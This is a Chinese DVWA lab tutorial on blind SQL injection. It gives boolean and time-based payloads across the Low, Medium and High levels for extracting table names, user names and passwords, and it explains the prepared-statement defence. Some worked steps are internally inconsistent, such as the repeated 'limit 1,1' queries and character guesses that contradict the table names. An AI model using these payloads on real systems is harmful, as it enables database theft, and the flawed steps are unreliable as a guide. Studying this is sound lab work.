摘要 :本文是《DVWA从入门到精通》系列的第九篇,带你全面掌握SQL Injection (Blind)(SQL盲注)模块的攻防全流程。从SQL盲注的核心原理出发,逐步讲解Low、Medium、High三个级别的攻击手法与源码分析,并深入探讨Impossible级别的终极防御方案。文章包含布尔盲注与时间盲注的完整手工流程、LENGTH()与SUBSTRING()函数的逐字符猜解技术、SLEEP()延时函数的利用、Burp Suite Intruder自动化爆破、以及PDO预处理和参数化查询等企业级防御策略,让你真正做到"知其然更知其所以然"。
一、什么是SQL盲注?
1.1 SQL盲注的核心原理
SQL盲注(Blind SQL Injection)是SQL注入的一种特殊形式。它与普通SQL注入的区别在于:服务器关闭了错误回显,不返回具体的数据库查询结果,攻击者无法直接看到数据。
用一个生活化的例子来理解:
普通SQL注入就像你直接问老师"张三的考试成绩是多少?"老师直接告诉你"90分"------你得到了明确的答案。
而SQL盲注就像你问老师"张三的考试成绩是不是90分?"老师只回答"是"或"不是"------你只能通过一个个"是/否"问题来逐步推断出答案,就像在玩一个"猜数字"游戏。你需要先问"是不是大于80分?"→"是";再问"是不是大于90分?"→"不是";然后问"是不是等于85分?"→"是"......如此反复,最终拼凑出完整答案。
从技术角度来看:
普通SQL注入时,攻击者可以直接从页面上看到注入语句的执行结果。而盲注时,应用程序执行SQL查询后不返回具体数据,只通过页面显示状态的差异(如"存在"或"不存在"、响应时间长短)来间接暴露信息。
1.2 SQL盲注的三种类型
| 类型 | 原理 | 特点 |
|---|---|---|
| 布尔盲注(Boolean-based) | 根据页面返回内容的真假判断 | 页面只会返回"是"或"不是"两种状态 |
| 时间盲注(Time-based) | 根据页面响应时间长短判断 | 页面没有任何回显差异,只能通过延时来推断 |
| 报错盲注(Error-based) | 根据数据库错误信息判断 | 需要服务器开启错误回显 |
在DVWA的SQL Injection (Blind)模块中,我们主要练习布尔盲注 和时间盲注两种技术。
1.3 为什么需要盲注?
在实际的Web应用中,出于安全考虑,开发者通常会关闭数据库的错误回显 ,用户只能看到"操作成功"或"操作失败"等简单提示。这种情况下,普通的SQL注入(依赖报错信息或直接回显数据)就无法使用了------此时就需要盲注技术。
盲注的难度比普通注入高得多:
-
普通注入:一条语句就能获取大量数据
-
布尔盲注:每个字符都需要多次尝试才能确定
-
时间盲注:每个字符的确认都需要等待数秒
二、准备工作
2.1 靶场环境
确保DVWA已部署并正常运行:
-
访问地址:
http://你的服务器IP/dvwa/login.php -
使用
admin/password登录
2.2 必备工具
| 工具 | 用途 |
|---|---|
| 浏览器(Chrome/Firefox) | 访问靶场,观察页面状态变化 |
| Burp Suite | 抓包分析、Intruder自动化爆破(Medium级别必需) |
| SQLmap | 自动化SQL盲注检测与利用(可选) |
2.3 基础知识储备
-
理解SQL的基本语法(SELECT、WHERE、AND/OR等)
-
熟悉MySQL的常用函数:
LENGTH()、SUBSTRING()、ASCII()、SLEEP()、IF() -
了解
information_schema元数据库
三、Low级别:毫无防护的"裸奔"状态
3.1 安全级别设置
将DVWA Security设置为 Low 级别,然后进入 SQL Injection (Blind) 模块。
3.2 界面观察
SQL盲注模块的界面与普通SQL注入类似------一个输入框和一个"Submit"按钮。但与普通SQL注入不同的是:
-
输入存在的ID(如
1),页面显示:"User ID exists in the database." -
输入不存在的ID(如
6),页面显示:"User ID is MISSING from the database."
页面只有这两种回显,没有任何数据库错误信息或具体数据。
3.3 源码分析
点击页面顶部的 "View Source" 按钮,查看Low级别的核心代码:
php
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
$exists = false;
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
try {
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors
} catch (Exception $e) {
print "There was an error.";
exit;
}
$exists = false;
if ($result !== false) {
try {
$exists = (mysqli_num_rows( $result ) > 0);
} catch(Exception $e) {
$exists = false;
}
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}
break;
}
if ($exists) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
} else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
?>
这段代码存在以下特征:
| 特征 | 说明 |
|---|---|
| 字符型注入 | user_id = '$id'用单引号包裹 |
| 无任何过滤 | 用户输入直接拼接到SQL语句 |
| 仅两种回显 | 只返回"存在"或"不存在" |
3.4 攻击方法一:布尔盲注
由于是字符型注入,需要闭合单引号,然后构造布尔条件。
第一步:确认注入点
测试1:条件为真
php
1' AND 1=1 #
页面显示"User ID exists"------条件为真时页面正常。

测试2:条件为假
php
1' AND 1=2 #
页面显示"User ID is MISSING"------条件为假时页面异常。

结论:存在SQL盲注漏洞!
第二步:猜解数据库名长度
使用LENGTH(DATABASE())函数获取数据库名的长度:
php
1' AND LENGTH(DATABASE())=4 #
如果页面显示"User ID exists",说明数据库名长度为4。

第三步:逐字符猜解数据库名
使用SUBSTRING()和ASCII()函数逐字符猜解:
猜解第1个字符:
php
1' AND ASCII(SUBSTRING(DATABASE(),1,1))=100 #
ASCII('d')=100,如果页面显示"User ID exists",说明第1个字符是d。

猜解第2个字符:
php
1' AND ASCII(SUBSTRING(DATABASE(),2,1))=118 #
ASCII('v')=118,第2个字符是v。

猜解第3个字符:
php
1' AND ASCII(SUBSTRING(DATABASE(),3,1))=119 #
ASCII('w')=119,第3个字符是w。

猜解第4个字符:
php
1' AND ASCII(SUBSTRING(DATABASE(),4,1))=97 #
ASCII('a')=97,第4个字符是a。

结果 :数据库名为 dvwa 。
第四步:猜解表名
猜解表的数量:
php
1' AND (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='dvwa')=1 # //User ID is MISSING from the database.
1' AND (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='dvwa')=2 # //User ID is MISSING from the database.
1' AND (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='dvwa')=3 # //User ID is MISSING from the database.
1' AND (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='dvwa')=4 # //User ID exists in the database.
返回存在 → dvwa数据库中有4张表。
猜解第一张表名长度:
php
1' AND (SELECT length(table_name) FROM information_schema.tables WHERE table_schema='dvwa' limit 1)>3 #
1' AND (SELECT length(table_name) FROM information_schema.tables WHERE table_schema='dvwa' limit 1)>7 #
1' AND (SELECT length(table_name) FROM information_schema.tables WHERE table_schema='dvwa' limit 1)>9 #
1' AND (SELECT length(table_name) FROM information_schema.tables WHERE table_schema='dvwa' limit 1)=10 #
所以第一张表长度为10
猜解第一张表名(逐字符):
php
// 猜解第一个字符
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),1,1))>96 # //判断是否是小写字母,存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),1,1))>97 # //不存在,所以第一个字符为a
// 猜解第二个字符
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),2,1))>96 # //判断是否是小写字母,存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),2,1))>98 # //存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),2,1))>99 # //不存在,所以第二个字符为c
// 猜解第三个字符
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),3,1))>96 # //判断是否是小写字母,存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),3,1))>98 # //存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),3,1))>99 # //不存在,所以第三个字符为c
// 猜解第四个字符
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),4,1))>96 # //判断是否是小写字母,存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),4,1))>100 # //存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),4,1))>101 # //不存在,所以第四个字符为e
// 猜解第五个字符
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),5,1))>96 # //判断是否是小写字母,存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),5,1))>114 # //存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),5,1))>115 # //不存在,所以第五个字符为s
// 猜解第六个字符
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),6,1))>96 # //判断是否是小写字母,存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),6,1))>114 # //存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),6,1))>115 # //不存在,所以第六个字符为s
// 猜解第七个字符
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),7,1))>96 # //判断是否是小写字母,不存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),7,1))>95 # //不存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),7,1))>94 # //存在,所以第七个字符为_
// 猜解第八个字符
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),8,1))>96 # //判断是否是小写字母,存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),8,1))>107 # //存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),8,1))>108 # //不存在,所以第八个字符为l
// 猜解第九个字符
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),9,1))>96 # //判断是否是小写字母,存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),9,1))>110 # //存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),9,1))>111 # //不存在,所以第九个字符为o
// 猜解第十个字符
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),10,1))>96 # //判断是否是小写字母,存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),10,1))>102 # //存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),10,1))>103 # //不存在,所以第十个字符为g
最终得到第一张表名为 access_log。
猜解第2、3、4张表名长度:
php
// 第二张表
1' AND (SELECT length(table_name) FROM information_schema.tables WHERE table_schema='dvwa' limit 1,1)=9 #
// 第三张表
1' AND (SELECT length(table_name) FROM information_schema.tables WHERE table_schema='dvwa' limit 1,1)=12 #
// 第四张表
1' AND (SELECT length(table_name) FROM information_schema.tables WHERE table_schema='dvwa' limit 1,1)=5 #
猜解第2、3、4张表名:
php
// 猜解第二张表第一个字符
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 1,1),1,1))>96 # //判断是否是小写字母,存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 1,1),1,1))>97 # //不存在,所以第一个字符为a
// 猜解第二张表第二个字符
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 1,1),2,1))>96 # //判断是否是小写字母,存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 1,1),2,1))>98 # //存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 1,1),2,1))>99 # //不存在,所以第二个字符为c
......结论为guestbook
// 猜解第三张表第一个字符
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 2,1),1,1))>96 # //判断是否是小写字母,存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 2,1),1,1))>97 # //不存在,所以第一个字符为a
// 猜解第三张表第二个字符
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 2,1),2,1))>96 # //判断是否是小写字母,存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 2,1),2,1))>98 # //存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 2,1),2,1))>99 # //不存在,所以第二个字符为c
......结论为security_log
// 猜解第四张表第一个字符
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 3,1),1,1))>96 # //判断是否是小写字母,存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 3,1),1,1))>97 # //不存在,所以第一个字符为a
// 猜解第四张表第二个字符
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 3,1),2,1))>96 # //判断是否是小写字母,存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 3,1),2,1))>98 # //存在
1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 3,1),2,1))>99 # //不存在,所以第二个字符为c
......结论为users
第五步:猜解列名和数据
猜解users表的列数:
php
1' AND (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema='dvwa' and table_name='users')=10 #
返回存在 → users表有10列。
猜解列名:
php
// 猜测第一列第一个字段长度
1' AND (SELECT length(column_name) FROM information_schema.columns WHERE table_schema='dvwa' and table_name='users' limit 0,1)=7 #
// 猜测第一列第一个字段第一个字符
1' AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema='dvwa' and table_name='users' LIMIT 0,1),1,1))=117 #
// 猜测第一列第一个字段第二个字符
1' AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema='dvwa' and table_name='users' LIMIT 0,1),2,1))=115 #
......结论第一个字段为user_id
// 猜测第二列第一个字段长度
1' AND (SELECT length(column_name) FROM information_schema.columns WHERE table_schema='dvwa' and table_name='users' limit 1,1)=10 #
// 猜测第二列第一个字段第一个字符
1' AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema='dvwa' and table_name='users' LIMIT 1,1),1,1))=102 #
// 猜测第二列第一个字段第二个字符
1' AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema='dvwa' and table_name='users' LIMIT 1,1),2,1))=105 #
......结论第二个字段为first_name
// 猜测第三列第一个字段长度
1' AND (SELECT length(column_name) FROM information_schema.columns WHERE table_schema='dvwa' and table_name='users' limit 2,1)=9 #
// 猜测第三列第一个字段第一个字符
1' AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema='dvwa' and table_name='users' LIMIT 2,1),1,1))=108 #
// 猜测第三列第一个字段第二个字符
1' AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema='dvwa' and table_name='users' LIMIT 2,1),2,1))=97 #
......结论第三个字段为last_name
// 猜测第四列第一个字段长度
1' AND (SELECT length(column_name) FROM information_schema.columns WHERE table_schema='dvwa' and table_name='users' limit 3,1)=4 #
// 猜测第四列第一个字段第一个字符
1' AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema='dvwa' and table_name='users' LIMIT 3,1),1,1))=117 #
// 猜测第四列第一个字段第二个字符
1' AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema='dvwa' and table_name='users' LIMIT 3,1),2,1))=115 #
......结论第四个字段为user
// 猜测第五列第一个字段长度
1' AND (SELECT length(column_name) FROM information_schema.columns WHERE table_schema='dvwa' and table_name='users' limit 4,1)=8 #
// 猜测第五列第一个字段第一个字符
1' AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema='dvwa' and table_name='users' LIMIT 4,1),1,1))=112 #
// 猜测第五列第一个字段第二个字符
1' AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema='dvwa' and table_name='users' LIMIT 4,1),2,1))=97 #
......结论第五个字段为password
剩下五个字段同理,分别为avatar、last_login、failed_login、role、account_enabled
猜解数据:
php
// 猜解第一个用户名长度
1' AND (SELECT length(user) from users LIMIT 0,1)=5 #
// 猜解第一个用户名第一个字符
1' AND ASCII(SUBSTR((SELECT user FROM users LIMIT 0,1),1,1))=97 #
// 猜解第一个用户名第二个字符
1' AND ASCII(SUBSTR((SELECT user FROM users LIMIT 0,1),2,1))=97 #
// 猜解第一个用户密码第一个字符
1' AND ASCII(SUBSTR((SELECT password FROM users LIMIT 0,1),1,1))=97 #
// 猜解第一个用户密码第二个字符
1' AND ASCII(SUBSTR((SELECT password FROM users LIMIT 0,1),2,1))=97 #
// 猜解第二个用户名长度
1' AND (SELECT length(user) from users LIMIT 1,1)=5 #
// 猜解第二个用户名第一个字符
1' AND ASCII(SUBSTR((SELECT user FROM users LIMIT 1,1),1,1))=97 #
// 猜解第二个用户名第二个字符
1' AND ASCII(SUBSTR((SELECT user FROM users LIMIT 1,1),2,1))=97 #
// 猜解第二个用户密码第一个字符
1' AND ASCII(SUBSTR((SELECT password FROM users LIMIT 1,1),1,1))=97 #
// 猜解第二个用户密码第二个字符
1' AND ASCII(SUBSTR((SELECT password FROM users LIMIT 1,1),2,1))=97 #
......剩下逐字符破解
3.5 攻击方法二:时间盲注
当布尔盲注无法获得明确回显时(例如页面始终返回相同内容),可以使用时间盲注。
时间盲注的核心是使用sleep()或benchmark()等造成延时效果的函数。
测试时间注入可行性:
php
1' AND SLEEP(5) #
如果页面响应延迟了5秒,说明时间注入可行。
使用IF()条件判断:
php
1' AND IF(SUBSTRING(DATABASE(),1,1)='d', SLEEP(5), 0) #
如果数据库名第一个字符是d,页面延迟5秒;否则立即返回。
猜解数据库名:
php
1' AND IF(ASCII(SUBSTRING(DATABASE(),1,1))=100, SLEEP(5), 0) #
3.6 Low级别总结
| 特征 | 说明 |
|---|---|
| 字符型注入 | 需闭合引号 |
| 无任何过滤 | 用户输入直接拼接到SQL |
| 两种回显 | 存在/不存在 |
| 可利用 | 布尔盲注 + 时间盲注 |
四、Medium级别:POST方式的"下拉菜单限制"
4.1 安全级别设置
将DVWA Security切换为 Medium 级别。
4.2 观察变化
在Medium级别下,输入方式从文本框变成了下拉菜单,只能选择1到5这几个数字。页面回显依然是"存在"或"不存在"两种。
4.3 源码分析
查看Medium级别的核心代码:
php
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$exists = false;
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
try {
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors
} catch (Exception $e) {
print "There was an error.";
exit;
}
$exists = false;
if ($result !== false) {
try {
$exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
} catch(Exception $e) {
$exists = false;
}
}
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}
break;
}
if ($exists) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
} else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
?>
Medium级别的变化:
| 变化 | 说明 |
|---|---|
| POST方式提交 | 不再是GET,URL中看不到参数 |
| 下拉菜单限制 | 页面只能选择1-5 |
| 转义函数 | 使用mysqli_real_escape_string()转义特殊字符 |
| 数字型注入 | 仍然没有单引号包裹 |
4.4 mysqli_real_escape_string()的局限
与普通SQL注入的Medium级别相同,mysqli_real_escape_string()在数字型注入 场景下完全失效------因为数字型注入不需要闭合引号,转义特殊字符对注入没有影响。
4.5 攻击方法:Burp Suite抓包注入
由于页面限制了下拉菜单,攻击者需要通过Burp Suite抓包修改参数进行注入。
第一步:抓取提交请求
在Burp Suite中拦截提交请求:

第二步:修改参数进行布尔盲注
将id=1修改为注入Payload:
php
id=1 AND LENGTH(DATABASE())=4&Submit=Submit
猜解出数据库名的长度为4
第三步:使用Burp Intruder自动化爆破
将请求发送到Intruder
设置攻击类型为Cluster bomb
设置两个Payload位置:
-
位置1:字符位置(1-4)
-
位置2:ASCII值(1-128)
猜解数据库名
php
1 AND ASCII(SUBSTRING(DATABASE(),1,1))=2

开始攻击,根据响应内容筛选出正确的ASCII值。

猜解数据库中表数量
php
1 AND (SELECT count(table_name) FROM information_schema.tables where table_schema=database())=1


猜解四张表每张表的长度
php
1 AND (SELECT length(table_name) FROM information_schema.tables where table_schema=database() limit 0,1)=1


猜解每张表的字符
php
id=1 AND ASCII(SUBSTRING(SELECT table_name FROM information_schema.tables where table_schema=database() limit 0,1),1,1)=1&Submit=Submit


猜解users表的字段数
php
1 AND (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema=database() and table_name=0x7573657273)=1


猜解users表每个字段长度
php
1 AND (SELECT LENGTH(column_name) FROM information_schema.columns WHERE table_schema=database() and table_name=0x7573657273 limit 0,1)=1


猜解users表每个字段名
php
1 AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_schema=database() and table_name=0x7573657273 LIMIT 0,1),1,1))=1


猜解users表共几条数据
php
1 AND (SELECT COUNT(*) FROM users)=1


猜解users表中每一条中用户和密码拼接的长度
php
1 AND (SELECT LENGTH(CONCAT(user,CHAR(126),password)) FROM users LIMIT 0,1)=1


猜解users表中每一条用户和密码
php
1 AND ASCII(SUBSTRING((SELECT CONCAT(user,CHAR(126),password) FROM users LIMIT 0,1),1,1))=1


4.6 Medium级别总结
| 改进 | 局限性 |
|---|---|
| POST方式提交 | 可通过Burp Suite抓包修改 |
| 下拉菜单限制 | 可被Burp Suite绕过 |
mysqli_real_escape_string()转义 |
数字型注入无效 |
| 有一定防护效果 | 数字型注入场景下完全无效 |
五、High级别:Cookie传参的"延迟干扰"
5.1 安全级别设置
将DVWA Security切换为 High 级别。
5.2 观察变化
页面展示文本 Click here to change your ID.,点击页面内here超链接会弹出独立弹窗页面session-input.php;相比 Medium 级别的下拉选择框,High 级恢复可自由编辑的文本输入框,支持手动输入自定义 ID 参数,弹窗仅提供输入框与提交按钮。
5.3 源码分析
查看High级别的核心代码:
php
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
$exists = false;
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
try {
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors
} catch (Exception $e) {
$result = false;
}
$exists = false;
if ($result !== false) {
// Get results
try {
$exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
} catch(Exception $e) {
$exists = false;
}
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}
break;
}
if ($exists) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
?>
High级别的变化:
| 变化 | 说明 |
|---|---|
| Cookie传参 | 参数在Cookie中,不在GET/POST |
| 分两次请求 | 第一次设置Cookie,第二次获取结果 |
| 字符型注入 | 有单引号包裹,需要闭合 |
LIMIT 1 |
限制只返回一条结果 |
| 随机延迟 | 查询为空时sleep(rand(0,5)),干扰时间盲注 |
5.4 布尔注入
布尔盲注Payload示例(字符型注入,需要闭合单引号,同Low级步骤一模一样):
| 目的 | Payload |
|---|---|
| 条件为真 | 1' AND 1=1 # |
| 条件为假 | 1' AND 1=2 # |
| 猜解数据库名长度 | 1' AND LENGTH(DATABASE())=4 # |
| 猜解数据库名字符 | 1' AND ASCII(SUBSTRING(DATABASE(),1,1))=100 # |

5.5 时间盲注的干扰与绕过
High级别在查询为空时执行sleep(rand(0,5)),随机延迟0-5秒 。这会干扰基于时间的盲注------攻击者无法确定延迟是来自注入的sleep()还是来自服务器的随机延迟。
绕过思路:
-
使用较长的延迟时间 (如
sleep(10)),使延迟明显大于随机延迟的上限(5秒) -
多次测试取平均值,排除随机干扰
-
改用布尔盲注(如果可行)
5.6 High级别总结
| 改进 | 局限性 |
|---|---|
| Cookie传参 | 增加自动化注入难度 |
| 字符型注入 | 需要闭合单引号 |
| 随机延迟干扰 | 可用更长延迟时间绕过 |
LIMIT 1 |
可用#注释掉 |
六、Impossible级别:终极防御方案
6.1 安全级别设置
将DVWA Security切换为 Impossible 级别。
6.2 源码分析
查看Impossible级别的核心代码:
php
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
$exists = false;
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
$id = intval ($id);
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$exists = $data->rowCount();
break;
case SQLITE:
global $sqlite_db_connection;
$stmt = $sqlite_db_connection->prepare('SELECT COUNT(first_name) AS numrows FROM users WHERE user_id = :id LIMIT 1;' );
$stmt->bindValue(':id',$id,SQLITE3_INTEGER);
$result = $stmt->execute();
$result->finalize();
if ($result !== false) {
// There is no way to get the number of rows returned
// This checks the number of columns (not rows) just
// as a precaution, but it won't stop someone dumping
// multiple rows and viewing them one at a time.
$num_columns = $result->numColumns();
if ($num_columns == 1) {
$row = $result->fetchArray();
$numrows = $row[ 'numrows' ];
$exists = ($numrows == 1);
}
}
break;
}
}
// Get results
if ($exists) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
} else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
6.3 Impossible级别的六重防御体系
Impossible级别构建了六重防御体系,彻底杜绝了SQL盲注的可能性:
第一层:CSRF Token验证
使用checkToken()验证请求中的user_token是否与会话中的session_token一致。
第二层:数字类型检查(白名单)
使用is_numeric($id)检查输入是否为数字,任何特殊字符都会被拒绝。
第三层:强制类型转换
使用intval($id)将输入强制转换为整数,彻底消除了注入的可能性。
第四层:PDO预处理语句(核心防御)
使用PDO(PHP Data Objects)预处理语句执行SQL查询:
php
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
SQL指令模板和数据分开发送 ,无论用户输入什么特殊字符,都会被严格当作普通数值处理。
第五层:限制返回行数
LIMIT 1确保只返回一条记录。rowCount() == 1的检查更进一步,只有恰好返回一条记录时才显示"存在"。
第六层:一次性Token刷新
每次请求后调用generateSessionToken()生成新的Token,每个Token只能使用一次。
6.4 为什么Impossible级别无法被绕过?
| 条件 | Impossible级别的防护 | 攻击者能否达成 |
|---|---|---|
| 输入特殊字符 | is_numeric()检查 |
❌ 非数字直接被拒绝 |
| 闭合SQL语句 | intval()强制转换 |
❌ 输入被转为纯数字 |
| 执行恶意SQL | PDO预处理 | ❌ 数据与代码分离 |
| 批量获取数据 | LIMIT 1 + rowCount()检查 |
❌ 最多返回一条 |
